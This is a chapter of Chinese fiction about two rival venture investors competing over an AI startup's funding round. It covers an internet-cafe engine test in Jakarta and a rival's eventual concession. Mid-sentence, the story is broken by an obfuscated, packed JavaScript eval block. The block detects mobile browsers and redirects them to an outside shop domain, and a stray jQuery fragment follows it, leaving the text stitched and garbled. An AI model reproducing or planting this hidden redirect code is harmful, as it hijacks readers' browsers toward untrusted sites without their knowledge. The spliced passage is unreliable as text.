峰会过去三周。
那张纸条还夹在席勒的文集里，扉页那一页。祝青云翻到过两次，没有再多看。
东南亚二期的募资方案搭到了第三稿，出海组的项目名单翻到了第二页——魔塔的名字，从第一页挪到了待尽调那一栏。今年北京创投圈被谈论最多的新公司——这样的项目，轮不到机构挑。
B轮的消息放出来第一周，创始人的邮箱里躺了四十多家机构的投资意向。对方只回了五家，每家给了三天尽调时间。
名单里有清池，也有TCP。
许默涵看到名单的时候，正把一叠尽调材料往祝青云桌上搬。“祝总，方总的团队也去？”
“去。”
“那你们——”
“各做各的。”祝青云翻开第一页，“工作就是工作。”
第一回合，方严赢了。
总结会第一轮报价，他站在屏幕边上，没有用激光笔，一页一页讲过去：获客成本怎么拆的，交叉补贴的逻辑是什么，LTV/CAC为什么能做到六倍。讲得很慢，像在给LP做汇报，每一个假设都标了出处，每一个出处都经得起追问。
最后他说：按消费赛道的可比公司给估值，上浮两成。条款比所有人都松：不要否决权，只要一个董事席位。
会议室里安静了几秒。那个数字很漂亮，漂亮到创始人自己往前倾了一下。
另外三家机构里，有人已经开始收拾电脑。FA的人低声问旁边：“这个CAC，能跑通吗？”旁边的人摇头，又点头，最后说：“得看人。”
祝青云没有收拾电脑。她坐在那里，看着屏幕上那个数字。
她的手在桌下，把那支红笔的笔帽拔下来，又扣回去。拔下来，又扣回去。扣到第三次，才把笔放下。
这一局按账面算，她输了。价格这条线，从第一天起就不该是她的战场——只是知道归知道，看着屏幕上那个数字，她还是把笔帽扣了三次。
祝青云把这场失利在脑子里过了一遍尽调：资产没问题，问题在定价权。而定价权这种东西，从来不在报表里，在谁的手里。
散会，电梯里五个人，谁都没有看谁。楼层数字往下跳，FA的人把手机掏出来，又放回去。门开的时候，没有人说再见。
第二回合，她换了牌桌。
推荐引擎是语言的仆人，但“被记得”没有母语。引擎学的不是中文，是行为——点下去、停下来、回来、不回来，这些动作没有国界。
东南亚市场，她知道那意味着什么。祝青云在那里过了五年，知道那不是一片市场，是一种用法。
周一早上她给雅加达打了三个电话。
第三个电话打给Rizal，很多年前那个在warung门口帮店主做入驻的年轻人，现在是Kasa的地推主管，手底下管着爪哇岛上百家网吧的对接。
“Rizal，帮我个忙。”她说，“三十家网吧，两百台机器，装一个测试包。”
“什么测试？”
“一个引擎。”她说，“看看它记不记得住人。”
Rizal在那头笑了：“这个我们熟。”顿了顿，“数据放哪？”
“本地服务器。”她说，“只回脱敏的曲线。”
周三之前，三十家网吧——老城区、苏加诺机场线、大学城南——装上了魔塔的测试包，两百台机器。测试跑六周，别人做模型要历史数据，她做的是现在时：这个星期，这个人群，第一次点开这个引擎，第几天回来，第几天不回来。
游戏用户的公开行为数据打底，网吧的六周实测做修正。
部署后的第一个周末，雅加达下了暴雨。Rizal发来一张照片：老城区的网吧，一群穿拖鞋的少年围着屏幕，屏幕上是魔塔的推荐页，有个少年正抬手指着什么。Rizal附了一行字：“第二天，回来的人比第一天多。”
她盯着那张照片看了很久。拖鞋、屏幕、抬起来的手——六年前雅加达那家网吧里，也是这样的一群人，看的是另一款游戏。
人群没有变，变的只是谁在替他们做选择。
第六周，雅加达的最后一批曲线传回来，许默涵打印好送进来的时候，指着其中一条问：“这条第二周之后为什么不掉了？”
“因为引擎学会了。”祝青云说，“第六天，它开始记得你；第七天，你开始回来。”
许默涵看着那条曲线，忽然说：“像口袋科技。”
她看了许默涵一眼。
“我在系统里读过那份尽调笔记。”许默涵说，“第七关，NPC记得玩家做过的事。”
“嗯。”她说，“同一个东西。二十年了，游戏换了几代，玩家要的还是那一样：被记得。”
周四晚上，她把模型最后一遍验算完，许默涵陪她加班。许默涵点的是麻辣烫，她点的是美式。两个人对着一张曲线图，麻辣烫的热气在打印纸上方飘，飘到“第六天”那一格，散了。许默涵问：“如果方总的数比我们的好看，怎么办？”
“那就用他的。”她说。
许默涵愣了一下。
“工作就是工作。”祝青云说，“谁的数好看用谁的。他要真算出一个比我好的模型，我该高兴——说明我没有看走眼的东西，他也没有。”
她的TS在周五发出去：估值按她的模型，比对方上一轮的预期低一成，但附两个条件——魔塔出海的第一站，由她带：东南亚的网吧渠道、运营商计费、本地合规，整套框架打包开放，首两周她亲自盯着，之后季度复盘；她进董事会。
创始人看着那两条，看了很久，说：“我去打个电话。”
电话里他只问了一句：“网吧渠道，真能给我？”
祝青云说：“不是给，是换。你出技术，我出路。”
方严在TCP尽调的过程中，来了三次——不是每天，是三个节点。
第一次是定方向。他听完十分钟的汇报，问了三个问题，分析师把其中两个记在了本子的第一页；
第二次是审骨架。行业均值剥到第三层的时候，他把分析师搭的架子推倒了，重新搭了一副；
第三次是TS定稿。条款是他自己改的，改到"估值上浮两成"那一行，停了一下，没有改。
两家的尽调排在同一周，清池在东侧的会议室，TCP在西侧，中间隔着一条走廊和一间茶水间。
周二中午，方严让分析师订咖啡。"订所有人的，"他说，"东侧的也算上。"
咖啡送到的时候，东侧会议室的人一人一杯，许默涵端着两杯进来，把去冰的那杯放在祝青云手边，忽然停了一下。
"祝总，"她说，"方总他们订的咖啡，怎么每回都是美式去冰？"
"巧合。"祝青云说，没有抬头。
许默涵没再问。
第二天买咖啡，许默涵拿着单子过来问订什么，祝青云说："美式，去冰。对面也订上，随便什么。"
"随便什么"送到西侧的时候，是一杯手冲，单品，产地那一栏写着：耶加雪菲。方严的分析师愣了一下，收下了。
第三天，西侧又订了。第四天，东侧回请。
没有人提咖啡，数据室的讨论照常进行，只有茶水间的垃圾桶知道，这一周两边的纸杯换着牌子，换得很勤。
第三回合，来了一家更大的。
那家基金的TS比TCP再高两成，但要一票否决权，外加三年流水对赌。创始人动摇了一个晚上。
那个晚上，他给两个人分别打了电话。
第一个打给方严。方严在家，刚洗完牌，纸牌摊了一桌。他听完，沉默了几秒，把手里那张牌放下，说：“拿了带否决权的钱，魔塔就不是你的了。”
第二个打给祝青云。祝青云在办公室，窗外的国贸桥还亮着。她听完，看着窗外出了一会儿神，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17755490|209103||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
说：“拿了带否决权的钱，魔塔就不是你的了。”
同一个句子，从两个人嘴里出来，相隔十一分钟。
隔着半个北京，一个人刚洗完牌，一个人刚关上灯。
创始人挂了电话，在办公室里站到半夜。第二天他告诉那家基金：否决权不能给。然后他约五家机构，开最后一次总结会。
数据开放日的总结会，是第八周的周二。会议室门口，方严比祝青云先到。看见她，他从服务生手里接过两杯水，把其中一杯递了过来。
“温的。”他说。
她接过来，说了谢谢。
创始人把五家机构约回同一间会议室，说，今天不讲引擎，讲价格。
方严先报的，还是那个数。然后他说，请祝总讲。
祝青云讲她的模型：三十家网吧，六周，两百台机器，第一批点开这个引擎的人，第二周建立，第六周饱和，不下滑。
她停了一下，看向方严。
“你的估值模型用的是行业均值。”她说，“你投的是AI公司，不是消费公司。你用的是消费赛道的尺子，量出来的是AI的价格。”
方严转过头看她。
“消费公司的增长是线性的，每一步都能从历史数据里找到均值。AI公司不是——AI公司的成本结构里最大的一块是算力和迭代，增长曲线是拐点的。拐点之前，所有的均值都是错的。你给它消费的估值，等于替它预付了一个它还没到、也未必会到的拐点。而且那三分之一的获客成本，是起点，不是常态——引擎的自有流量见底那天，CAC会自己涨回来。”
方严听完，没有说话。
他看了她很久。
她没有催，把那杯温的水端起来喝了一口，发现杯子已经空了。她握着空杯子，杯底和桌面碰了一下，很轻。
后来创始人说，那段时间够他把那个模型重算三遍。
第一遍算假设，第二遍算口径，第三遍，他算的是：如果今天不认，十年后这个项目归谁写案例。
算完他发现，输赢从来不在模型里。
他选择了说出来。
“祝总的模型，更贴近这个项目的增长路径。”他说。
他停了一下。
“建议以她的测算为基准。”
散会以后，创始人在电梯口追上他，问：“方总，董事席位的事——”
“TCP不争了。”他说，“不是让，是认了。”
第二天上午，清池北京的前台收到一份快递，寄件人写的是TCP早期基金。
里面是一份消费可比框架的完整版，脱敏的，附言只有一行：给祝总的团队做个参考。
许默涵签收的时候问：“要回复吗？”
祝青云看着那份框架，看了很久。
“不用。”她说，“收下。”
后来行业里传开了一个版本：魔塔的B轮，TCP的条款最松，估值最高，但最后进董事会的是清池的祝青云。再后来版本又变了：不是当众，是散会以后，他自己说的。当众认输是表演，私下认，才是真的。
许默涵把第二个版本讲给祝青云听的时候，祝青云正在看那份框架的附录。
“祝总，”许默涵问，“外面都说方总把董事席位让给了您。”
“不是让。”她说，“是认了。”
“您怎么知道他会认？”
她翻过一页，没有抬头。
“因为他认的从来不是我。”她说，“是对的东西。他只是习惯了，对的东西从我这里说出来。”
许默涵看着她，忽然不知道该接什么。后来她在本子上记了一行：原来认输也可以是一种尊重。
很多年以后，许默涵自己带团队了，在某个尽调回来的深夜忽然明白了当年没想通的那一半。她翻出旧笔记本，在那行字下面又补了一句：承认你一直都在正确的位置上，只是站的不是同一边。